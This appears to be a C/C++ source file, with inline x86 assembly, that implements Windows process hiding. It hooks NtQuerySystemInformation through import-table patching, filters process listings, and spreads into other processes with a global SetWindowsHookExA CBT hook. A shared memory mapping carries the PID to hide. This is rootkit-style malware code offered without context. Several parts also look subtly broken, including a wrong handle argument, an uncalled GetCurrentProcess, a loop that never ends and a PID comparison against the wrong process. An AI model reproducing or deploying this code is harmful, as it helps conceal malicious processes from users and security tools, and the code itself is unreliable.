void RedirectIAT( char * pszCallerModName, FARPROC pfnCurrent, FARPROC pfnNew, HMODULE hmodCaller )
{
unsigned long ulSize = 0;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = 0;
char * pszModName = "";
PDWORD pThunk = 0;
FARPROC * ppfn = 0;
bool fFound = false;
DWORD written;
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData( &hmodCaller, TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, &ulSize );
if( !pImportDesc )
return;
while( pImportDesc->Name )
{
pszModName = (char*)( hmodCaller + pImportDesc->Name );
if( !lstrcmpiA( pszModName, pszCallerModName ) )
break;
pImportDesc++;
}
if( !pImportDesc->Name )
return;
pThunk = (DWORD*)( hmodCaller + pImportDesc->FirstThunk );
while( pThunk )
{
ppfn = (FARPROC*)pThunk;
if( *ppfn == pfnCurrent )
{
VirtualProtectEx( GetCurrentProcess, ppfn, 4, PAGE_EXECUTE_READWRITE, &written );
WriteProcessMemory( GetCurrentProcess, ppfn, &pfnNew, sizeof( pfnNew ), &written );
}
pThunk++;
}
}
PVOID addr_NtQuerySystemInformation = 0;
int WINAPI myNtQuerySystemInfo( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength )
{
#define SystemProcessesAndThreadsInformation 5
int Result = 0, mypid = GetCurrentProcessId();
_asm
{
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl exit
mov ecx, SystemInformationClass
cmp ecx, SystemProcessesAndThreadsInformation
jne exit
lop:
mov esi, SystemInformation
nextpid:
mov ebx, esi
cmp dword ptr [esi],0
je exit
add esi, [esi]
mov ecx, [esi+44h]
cmp ecx, mypid
jne nextpid
mov edx, [esi]
test edx, edx
je fillzero
add [ebx], edx
jmp lop
fillzero:
and [ebx], edx
jmp lop
exit:
mov Result, eax
}
return Result;
}
void FuncIntercept()
{
HANDLE hSnapShot;
MODULEENTRY32 me32;
addr_NtQuerySystemInformation = GetProcAddress( GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation");
hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, GetCurrentProcessId() );
if( hSnapShot == INVALID_HANDLE_VALUE )
return;
ZeroMemory(&me32,sizeof(MODULEENTRY32));
me32.dwSize =sizeof(MODULEENTRY32);
Module32First(hSnapShot,&me32);
do
{
RedirectIAT("ntdll.dll",(FARPROC)addr_NtQuerySystemInformation,(FARPROC)&myNtQuerySystemInfo,me32.hModule);
}
while( Module32Next(hSnapShot,&me32) );
CloseHandle(hSnapShot);
}
void FreeFunc()
{
HANDLE hSnapShot;
MODULEENTRY32 me32;
addr_NtQuerySystemInformation = GetProcAddress( GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation");
hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, GetCurrentProcessId() );
if( hSnapShot == INVALID_HANDLE_VALUE )
return;
ZeroMemory(&me32,sizeof(MODULEENTRY32));
me32.dwSize =sizeof(MODULEENTRY32);
Module32First(hSnapShot,&me32);
do
{
RedirectIAT("ntdll.dll",(FARPROC)&myNtQuerySystemInfo,(FARPROC)addr_NtQuerySystemInformation,me32.hModule);
}
while( Module32Next(hSnapShot,&me32) );
CloseHandle(hSnapShot);
}
HANDLE HookHandle;
int WINAPI CbtProc( int code, int wparam, int lparam )
{
return 0;
}
void WINAPI AttachHook()
{
HookHandle = SetWindowsHookExA( WH_CBT, (HOOKPROC)&CbtProc, 0, 0);
}
HANDLE hFirstMapHandle = 0;
bool WINAPI HideNtProcess( DWORD pid )
{
hFirstMapHandle = CreateFileMappingA( (HANDLE)0xFFFFFFFF,0,PAGE_READWRITE,0,8,"NtHideFileMappingX");
if( !hFirstMapHandle )
return false;
PDWORD addrMap = (PDWORD)MapViewOfFile( hFirstMapHandle, FILE_MAP_WRITE, 0, 0, 8 );
if( !addrMap )
{
CloseHandle( hFirstMapHandle );
return false;
}
*addrMap = pid;
bool * ptr2 = (bool*)((DWORD)addrMap+4);
*ptr2 = false;
UnmapViewOfFile(addrMap);
AttachHook();
return true;
}
bool InitHiding()
{
HANDLE hmap = OpenFileMapping( FILE_MAP_READ, false, "NtHideFileMappingX" );
if( !hmap )
return false;
PDWORD mapaddr = (PDWORD)MapViewOfFile( hmap, FILE_MAP_READ, 0, 0, 0 );
if( !mapaddr )
return false;
DWORD mypid = *mapaddr;
FuncIntercept();
UnmapViewOfFile( mapaddr );
CloseHandle( hmap );
return true;
}